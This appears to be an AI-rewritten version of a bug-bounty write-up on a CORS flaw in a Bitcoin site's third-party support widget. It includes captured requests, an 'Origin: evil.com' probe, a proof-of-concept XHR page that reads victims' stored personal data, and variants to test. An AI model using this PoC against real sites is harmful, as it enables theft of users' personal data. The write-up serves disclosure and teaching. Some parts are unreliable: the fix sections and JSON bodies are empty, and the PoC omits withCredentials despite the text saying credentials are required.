Skip to content
CORS Write-up Beginner

Exploiting misconfigured CORS on popular BTC site

The third-party support form API reflected any Origin header in its CORS response and allowed credentials, so a malicious page could read a victim's previously submitted support form data. An attacker could steal names, emails, phone numbers and account IDs from any user who had used the support form.

Arbaz Hussain Follow

Published on medium.com

{{media:0}}

Arbaz Hussain, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

A popular BTC (Bitcoin) site offered a support form so that users could contact the team about account issues. The form collected four fields: email, phone number, name and message. Rather than handling submissions itself, the site embedded a third-party contact widget, and the form data was posted to that third party's API. The write-up examines the CORS behaviour of that third-party endpoint and shows how a misconfiguration there lets a malicious page read back the form data of any user who has previously submitted the form.

The author rates the issue as Medium severity, Easy complexity, with the weakness described as allowing ACAH (Access-Control-Allow-Headers / here effectively the credentials-bearing CORS response).

Setup

No accounts, roles or special tooling are described beyond a browser and the ability to intercept and modify requests. The precondition for exploitation is that a victim has used the support form at some point, on any previous date, so that their submission is stored and retrievable by the widget API. The author was themselves a user of the site, having contacted support about an account issue.

Finding it

The author used the site's support form, entering an email address, phone number, name and message, and clicked Submit. Watching the traffic, they noticed the form was not sent to the BTC site but to a third-party host, as a POST to a widget endpoint:

HTTP
POST /api/contact/widget/281d02/ HTTP/1.1
Host: api.thirdparty.com
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Cookie: [redacted]
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

The body carried the submitted fields as JSON:

The request carried a session cookie to the third-party host.

Exploitation

Step 1: change the method and add an Origin header

After sending the form, the author changed the request method from POST to GET and added an Origin header pointing at an attacker-controlled domain:

HTTP
GET /api/contact/widget/281d02/ HTTP/1.1
Origin: evil.com

Step 2: observe the CORS response

The response came back with the attacker's origin reflected and credentials explicitly allowed:

HTTP
Access-Control-Allow-Origin: evil.com
Access-Control-Allow-Credentials: true

The author was surprised to see Access-Control-Allow-Credentials: true. Reflecting an arbitrary origin is one problem; combining it with credentialed access means a browser will hand the response body, including the stored personal data, to script running on the attacker's origin, provided the request is made with credentials.

Image for post
poc From the original on medium.com

Step 3: build a proof-of-concept page

The author wrote an HTML page that fires an XHR at the widget endpoint and writes selected fields of the JSON response into the DOM:

HTML
<html><body onload='load()'><p id="demo"></p>Name: <h3 id="name"></h3>Email : <h3 id="email"></h3>Phone : <h3 id="phone"></h3>ACCID :<h3 id="AccountID"></h3><h3 id="que"></h3><script>function load(){ var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function(){ if(this.readyState == 4 && this.status == 200){ //document.getElementById('demo').innerHTML = JSON.stringify(this.responseText); parsed = JSON.parse(this.responseText); var arr = []; for(var x in parsed){ arr.push(parsed[x]); } console.log(arr) document.getElementById('email').innerHTML = arr[6]; document.getElementById('name').innerHTML = arr[3]; document.getElementById('phone').innerHTML = arr[7]; document.getElementById('AccountID').innerHTML = arr[9];}}; xhr.open("GET","https://api.thirdparty.com/api/contact/widget/281d02",true); xhr.send();}</script></body></html>

The script parses the JSON response, flattens its values into an array, and maps positions 3, 6, 7 and 9 to the name, email, phone and account ID elements. The XHR is opened against the same widget endpoint used in the earlier request.

Step 4: what the victim sees

As soon as a victim who has used the support form at any time, on any previous date, visits the malicious page, their previously submitted form data is extracted. The victim does not need to submit the form again; the stored submission is what gets read.

Root cause

The widget API reflects whatever Origin the caller supplies into Access-Control-Allow-Origin and pairs it with Access-Control-Allow-Credentials: true. That combination defeats the same-origin policy for this endpoint: the browser treats any origin as authorised to read credentialed responses. The endpoint also answers a plain GET with the stored submission. The report does not describe any server-side allowlist or other control that would have limited which origins are reflected.

Impact

An attacker who can lure a user who has previously used the support form to a page they control can read that user's stored name, email address, phone number and account ID. The author frames the impact as extraction of previous form data from any victim who has used the form at any time. The report does not state how many users or which BTC site was affected, nor whether a bounty was paid.

Fix

Variants to test

  1. Send Origin: null (for example from a sandboxed iframe or a data: URL) and check whether it is reflected alongside Access-Control-Allow-Credentials: true.
  2. Send an origin that merely contains the trusted domain as a prefix or suffix, such as https://trusted.example.evil.com, and see whether a naive string match reflects it.
  3. Try the same credentialed GET against other widget or contact endpoints that take an identifier in the path, and check whether the response contains stored personal data.
  4. Repeat with Access-Control-Allow-Headers and preflight requests to see whether custom headers widen what a cross-origin page can send.
  5. Test whether the endpoint accepts a GET where the original flow used POST, as here, since a readable GET is what makes the cross-origin extraction possible.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

A popular site about Bitcoin (BTC) had a support form. If you had a problem with your account, you could fill in the form and send a message to the team. The form asked for four things: your email address, your phone number, your name and your message.

The site did not handle those messages itself. Instead it used a small piece of software supplied by another company, a contact widget, and the form data was sent to that company's API. An API is a way for one piece of software to talk to another over the internet: you send a request to a particular address, and you get a response back, usually in a structured format such as JSON. Think of it as a service counter: you hand over a request at a specific window and get an answer back.

The author of this write-up was a user of the site and had contacted support about an account issue. While doing so, they watched what the browser actually sent and found that the form went to the third party. They then looked at how that third-party endpoint handled something called CORS, and found a misconfiguration. Because of it, a malicious web page could read back the form data of any user who had ever submitted the form before.

The author rates the issue as Medium severity and Easy complexity, and describes the weakness as allowing ACAH, which here effectively means the credentials-bearing CORS response.

Setup

The write-up does not describe any accounts, roles or special tools beyond a browser and the ability to intercept and modify requests. Intercepting means pausing a request on its way out of the browser, looking at it, changing it, and then letting it go. Many browsers have developer tools that show network traffic, and there are proxy tools that let you edit requests before they leave.

The one precondition for the attack is that the victim has used the support form at some point, on any previous date. That way their submission is stored on the third party's side and can be retrieved by the widget API later. The author was themselves such a user, having contacted support about an account issue.

Finding it

The author filled in the support form with an email address, a phone number, a name and a message, and clicked Submit. Watching the traffic, they noticed the form was not sent to the BTC site but to a third-party host, as a POST to a widget endpoint:

HTTP
POST /api/contact/widget/281d02/ HTTP/1.1
Host: api.thirdparty.com
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Cookie: [redacted]
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Line by line, in plain words:

  • POST /api/contact/widget/281d02/ HTTP/1.1 is the request line. POST is the method used to send data to a server, as opposed to GET, which asks for data. The path /api/contact/widget/281d02/ points at a specific widget on the API, and HTTP/1.1 is the version of the protocol being spoken.
  • Host: api.thirdparty.com says which server the request is addressed to. This is the third party, not the BTC site.
  • Connection: close, Cache-Control: max-age=0 and Upgrade-Insecure-Requests: 1 are ordinary browser headers. Headers are extra lines of information attached to a request or response, a bit like the label on a parcel. These particular ones tell the server to close the connection afterwards, not to cache the response, and that the browser would prefer a secure connection.
  • User-Agent identifies the browser and operating system that made the request. Here it is Chrome 59 on 64-bit Windows 6.1.
  • Accept and Accept-Language say which response formats and languages the browser is willing to receive.
  • Cookie: [redacted] is the session cookie. A cookie is a small piece of data the browser stores for a site and sends back with every request to that site. A session cookie identifies who is logged in, like a wristband at an event: show it and the staff know who you are without asking for your name again. The request carried a session cookie to the third-party host.
  • Content-Type: application/x-www-form-urlencoded describes the format of the body being sent.
  • Content-Length: 0 says the body is empty in this captured request.

The body carried the submitted fields as JSON:

JSON is a text format for structured data: curly braces hold a set of named fields, and each field has a value. Here the fields are the first name, last name, company, email, phone, account ID, message and tags. null means the field was empty. The endpoint path contains a widget identifier, and the request carried a session cookie to the third-party host.

Exploitation

Step 1: change the method and add an Origin header

After sending the form, the author changed the request method from POST to GET and added an Origin header pointing at an attacker-controlled domain:

HTTP
GET /api/contact/widget/281d02/ HTTP/1.1
Origin: evil.com

Why do this? The goal is to see whether the server will hand the stored data back to a page that lives on a different site. The Origin header is sent by browsers to tell a server which site a request comes from. By setting it to evil.com, the author is pretending the request comes from a page on that domain. Changing POST to GET matters because a GET is a simple read request, and browsers are more willing to let a page make a cross-origin GET than a cross-origin POST with custom headers.

Step 2: observe the CORS response

CORS stands for Cross-Origin Resource Sharing. Browsers normally enforce the same-origin policy: a page on one site cannot read the response of a request to a different site, because otherwise any website you visit could quietly read your data from every other site you are logged into. CORS is the controlled exception. The server can reply with headers that say which other origins are allowed to read its responses. An origin is the combination of scheme, host and port, for example https://example.com.

The response came back with the attacker's origin reflected and credentials explicitly allowed:

HTTP
Access-Control-Allow-Origin: evil.com
Access-Control-Allow-Credentials: true
  • Access-Control-Allow-Origin: evil.com means the server is telling the browser that a page on evil.com is allowed to read this response. The server simply copied back whatever origin the caller sent. That is the misconfiguration.
  • Access-Control-Allow-Credentials: true means the browser is allowed to include the user's cookies with the request and to hand the response to the calling page. Without this header, a cross-origin request would not carry the session cookie, and the response would not be readable by the attacker's script.

The JSON body is the stored submission: contact ID, first name, last name, company, email, phone, additional details, account ID, location and tags. The author was surprised to see Access-Control-Allow-Credentials: true. Reflecting an arbitrary origin is one problem; combining it with credentialed access means a browser will hand the response body, including the stored personal data, to script running on the attacker's origin, provided the request is made with credentials.

Image for post
poc From the original on medium.com

Step 3: build a proof-of-concept page

A proof of concept, or PoC, is a small demonstration that shows the problem is real without doing harm. The author wrote an HTML page that fires an XHR at the widget endpoint and writes selected fields of the JSON response into the DOM:

HTML
<html><body onload='load()'><p id="demo"></p>Name: <h3 id="name"></h3>Email : <h3 id="email"></h3>Phone : <h3 id="phone"></h3>ACCID :<h3 id="AccountID"></h3><h3 id="que"></h3><script>function load(){ var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function(){ if(this.readyState == 4 && this.status == 200){ //document.getElementById('demo').innerHTML = JSON.stringify(this.responseText); parsed = JSON.parse(this.responseText); var arr = []; for(var x in parsed){ arr.push(parsed[x]); } console.log(arr) document.getElementById('email').innerHTML = arr[6]; document.getElementById('name').innerHTML = arr[3]; document.getElementById('phone').innerHTML = arr[7]; document.getElementById('AccountID').innerHTML = arr[9];}}; xhr.open("GET","https://api.thirdparty.com/api/contact/widget/281d02",true); xhr.send();}</script></body></html>

Line by line, in plain words:

  • <html><body onload='load()'> starts the page. onload='load()' means the browser runs the function called load as soon as the page has finished loading.
  • <p id="demo"></p>Name: <h3 id="name"></h3>Email : <h3 id="email"></h3>Phone : <h3 id="phone"></h3>ACCID :<h3 id="AccountID"></h3><h3 id="que"></h3> lays out empty placeholders on the page. Each has an id, which is a name the script can use to find it later. The visible labels are Name, Email, Phone and ACCID.
  • <script>function load(){ ... }</script> defines the function that does the work.
  • var xhr = new XMLHttpRequest(); creates an XHR object. XHR stands for XMLHttpRequest, a browser feature that lets a page send requests and read responses without reloading the page.
  • xhr.onreadystatechange = function(){ ... } sets up a function that runs whenever the request's state changes.
  • if(this.readyState == 4 && this.status == 200){ ... } checks that the request has finished (readyState == 4) and that the server answered successfully (status == 200).
  • //document.getElementById('demo').innerHTML = JSON.stringify(this.responseText); is a commented-out line, kept for reference.
  • parsed = JSON.parse(this.responseText); turns the response text into a JavaScript object, so the individual fields can be read.
  • var arr = []; for(var x in parsed){ arr.push(parsed[x]); } creates an empty array and copies every value from the parsed object into it, in order. An array is a numbered list.
  • console.log(arr) prints the array to the browser's developer console, so the author could see what came back.
  • document.getElementById('email').innerHTML = arr[6]; puts the value at position 6 into the Email placeholder. The other three lines do the same for the name (position 3), the phone (position 7) and the account ID (position 9).
  • xhr.open("GET","https://api.thirdparty.com/api/contact/widget/281d02",true); prepares a GET request to the same widget endpoint used earlier. The true means the request runs asynchronously, so the page does not freeze while waiting.
  • xhr.send(); actually sends the request.

The script parses the JSON response, flattens its values into an array, and maps positions 3, 6, 7 and 9 to the name, email, phone and account ID elements. The XHR is opened against the same widget endpoint used in the earlier request.

Step 4: what the victim sees

As soon as a victim who has used the support form at any time, on any previous date, visits the malicious page, their previously submitted form data is extracted. The victim does not need to submit the form again; the stored submission is what gets read. The attacker only needs to get the victim to open a page they control, for example through a link in a message.

Root cause

The widget API reflects whatever Origin the caller supplies into Access-Control-Allow-Origin and pairs it with Access-Control-Allow-Credentials: true. That combination defeats the same-origin policy for this endpoint: the browser treats any origin as authorised to read credentialed responses. The endpoint also answers a plain GET with the stored submission. CSRF, or cross-site request forgery, is an attack where another site makes your browser send a request you did not intend; a CSRF token is a value the server expects in such requests to prove they came from its own pages. The report does not describe any server-side allowlist or other control that would have limited which origins are reflected.

Impact

An attacker who can lure a user who has previously used the support form to a page they control can read that user's stored name, email address, phone number and account ID. The author frames the impact as extraction of previous form data from any victim who has used the form at any time.

Fix

An allowlist is a fixed list of names that are accepted, and everything else is refused.

Variants to test

  1. Send Origin: null (for example from a sandboxed iframe or a data: URL) and check whether it is reflected alongside Access-Control-Allow-Credentials: true.
  2. Send an origin that merely contains the trusted domain as a prefix or suffix, such as https://trusted.example.evil.com, and see whether a naive string match reflects it.
  3. Try the same credentialed GET against other widget or contact endpoints that take an identifier in the path, and check whether the response contains stored personal data.
  4. Repeat with Access-Control-Allow-Headers and preflight requests to see whether custom headers widen what a cross-origin page can send. A preflight request is an automatic check the browser sends before a cross-origin request that uses methods or headers beyond the simple ones, asking the server whether the real request is allowed.
  5. Test whether the endpoint accepts a GET where the original flow used POST, as here, since a readable GET is what makes the cross-origin extraction possible.

Glossary

  • API: a way for one piece of software to talk to another over the internet, usually by sending a request to a specific address and receiving a structured response.
  • JSON: a text format for structured data, using curly braces for sets of named fields and square brackets for lists.
  • Widget: a small piece of software supplied by one company and embedded in another company's site, here a contact form.
  • POST: an HTTP method used to send data to a server.
  • GET: an HTTP method used to ask a server for data.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • Header: an extra line of information attached to a request or response, such as the browser type or the origin.
  • Cookie: a small piece of data the browser stores for a site and sends back with every request to that site.
  • Session cookie: a cookie that identifies who is logged in, so the server recognises the user without asking again.
  • Origin: the combination of scheme, host and port of a web address, for example https://example.com.
  • Same-origin policy: the browser rule that a page on one site cannot read responses from a different site.
  • CORS: Cross-Origin Resource Sharing, the controlled exception to the same-origin policy, where a server states which other origins may read its responses.
  • Access-Control-Allow-Origin: the CORS response header that names which origin is allowed to read the response.
  • Access-Control-Allow-Credentials: the CORS response header that says whether the browser may include the user's cookies and hand the response to the calling page.
  • Origin header: the request header a browser sends to tell the server which site the request comes from.
  • XHR (XMLHttpRequest): a browser feature that lets a page send requests and read responses without reloading.
  • DOM: the structure of a web page that scripts can read and change.
  • Array: a numbered list in JavaScript.
  • Proof of concept (PoC): a small demonstration that shows a problem is real without doing harm.
  • CSRF: cross-site request forgery, an attack where another site makes your browser send a request you did not intend.
  • CSRF token: a value the server expects in such requests to prove they came from its own pages.
  • Preflight request: an automatic check the browser sends before a cross-origin request that uses methods or headers beyond the simple ones, asking the server whether the real request is allowed.
  • Allowlist: a fixed list of names that are accepted, with everything else refused.
  • ACAH: as used in this write-up, shorthand for the credentials-bearing CORS response.

More by Arbaz Hussain

View all

14 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

CORS misconfiguration

The lesson behind this report.

A permissive cross-origin policy lets another site read responses with the user's credentials.